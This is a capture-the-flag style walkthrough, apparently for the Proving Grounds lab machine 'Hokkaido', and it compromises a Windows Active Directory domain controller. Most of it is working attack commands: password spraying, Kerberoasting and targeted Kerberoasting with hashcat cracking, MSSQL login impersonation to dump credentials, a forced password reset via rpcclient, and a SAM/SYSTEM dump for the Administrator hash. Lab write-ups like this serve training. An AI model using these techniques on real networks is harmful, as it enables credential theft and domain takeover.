Hokkaido — Proving Grounds (192.168.117.40)

rustscan -a 192.168.117.40 -- -A

#proving grounds#pg#walkthrough#boxes#os:windows#tech:active-directory#tech:password-attack

Hokkaido — Proving Grounds (192.168.117.40)

Enumeration

🐺 howlsec@kalishell

$rustscan -a 192.168.117.40 -- -A
$# AD DC: hokkaido-aerospace.com (HAERO\DC), Windows Server 2019/2022
$53 domain (Simple DNS Plus)
$80 http (IIS 10.0)
$88 kerberos-sec
$135/139/445 rpc/netbios/smb
$389/636/3268/3269 LDAP (Domain: hokkaido-aerospace.com)
$1433 & 58538 ms-sql-s (Microsoft SQL Server 2019 RTM)
$3389 ms-wbt-server
$5985 WinRM
$8530/8531 http (WSUS)
$9389 mc-nmf (.NET Message Framing)

Password spraying found valid creds:

🐺 howlsec@kalishell

$nxc smb 192.168.117.40 --shares -u domainusers -p password_list ...
$# hokkaido-aerospace.com\INFO:info

SMB shares with info:info (homes, NETLOGON, SYSVOL, WSUS shares readable):

🐺 howlsec@kalishell

$nxc smb 192.168.117.40 --shares -u info -p info
$smbclient -U info //192.168.117.40/homes   # user home dirs (Angela.Davies, ... Victor.Kelly)

NETLOGON share had a password reset note:

🐺 howlsec@kalishell

$smbclient -U info //192.168.117.40/NETLOGON
$# temp/password_reset.txt -> "Initial Password: Start123!"

Password sprayed the two passwords over RDP -> discovery:Start123! valid:

🐺 howlsec@kalishell

$nxc rdp 192.168.117.40 -u domainusers -p passwords --continue-on-success
$# [+] hokkaido-aerospace.com\discovery:Start123!

Kerberoast (discovery user) yielded hashes for discovery and maintenance (maintenance not cracked):

🐺 howlsec@kalishell

$impacket-GetUserSPNs -dc-ip 192.168.117.40 hokkaido-aerospace.com/discovery:Start123! -request

MSSQL impersonation -> hrapp-service creds

🐺 howlsec@kalishell

$impacket-mssqlclient 'hokkaido-aerospace.com/discovery':'Start123!'@192.168.117.40 -dc-ip 192.168.117.40 -windows-auth
$SELECT name FROM master..sysdatabases;   # master, tempdb, model, msdb, hrappdb
$# No access to hrappdb directly. Find impersonatable logins:
$SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
$# -> hrappdb-reader
$EXECUTE AS LOGIN = 'hrappdb-reader'
$use hrappdb
$select * from sysauth;
$# id 0  name hrapp-service  password Untimed$Runny

Creds: hrapp-service:Untimed$Runny

Privesc via GenericWrite -> targeted Kerberoast -> IT group

🐺 howlsec@kalishell

$bloodhound-python -u "hrapp-service" -p 'Untimed$Runny' -d hokkaido-aerospace.com -c all --zip -ns 192.168.117.40

BloodHound: hrapp-service has GenericWrite over Hazel.Green (tier2admin). Targeted Kerberoast to set an SPN and grab Hazel's hash:

🐺 howlsec@kalishell

$python3 targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.117.40
$# Crack Hazel.Green hash
$hashcat -m 13100 hazel_hash /usr/share/wordlists/rockyou.txt
$# -> haze1988

Hazel.Green is a member of the IT group, allowing a forced password change of tier1 admin MOLLY.SMITH:

🐺 howlsec@kalishell

$rpcclient -N 192.168.117.40 -U 'hazel.green%haze1988'
$setuserinfo2 MOLLY.SMITH 23 'Password123!'
$ 
$xfreerdp3 /u:molly.smith /p:'Password123!' /v:192.168.117.40 +clipboard
$# local.txt is at c:\local.txt

Root via SeBackupPrivilege

molly.smith has SeBackupPrivilege. Dump SAM/SYSTEM:

🐺 howlsec@kalishell

$reg save hklm\sam c:\Temp\sam
$reg save hklm\system c:\Temp\system
$# Transfer to Kali and crack
$impacket-secretsdump -system system -sam sam local

Use the recovered Administrator hash to WinRM in and read the proof on the Administrator desktop.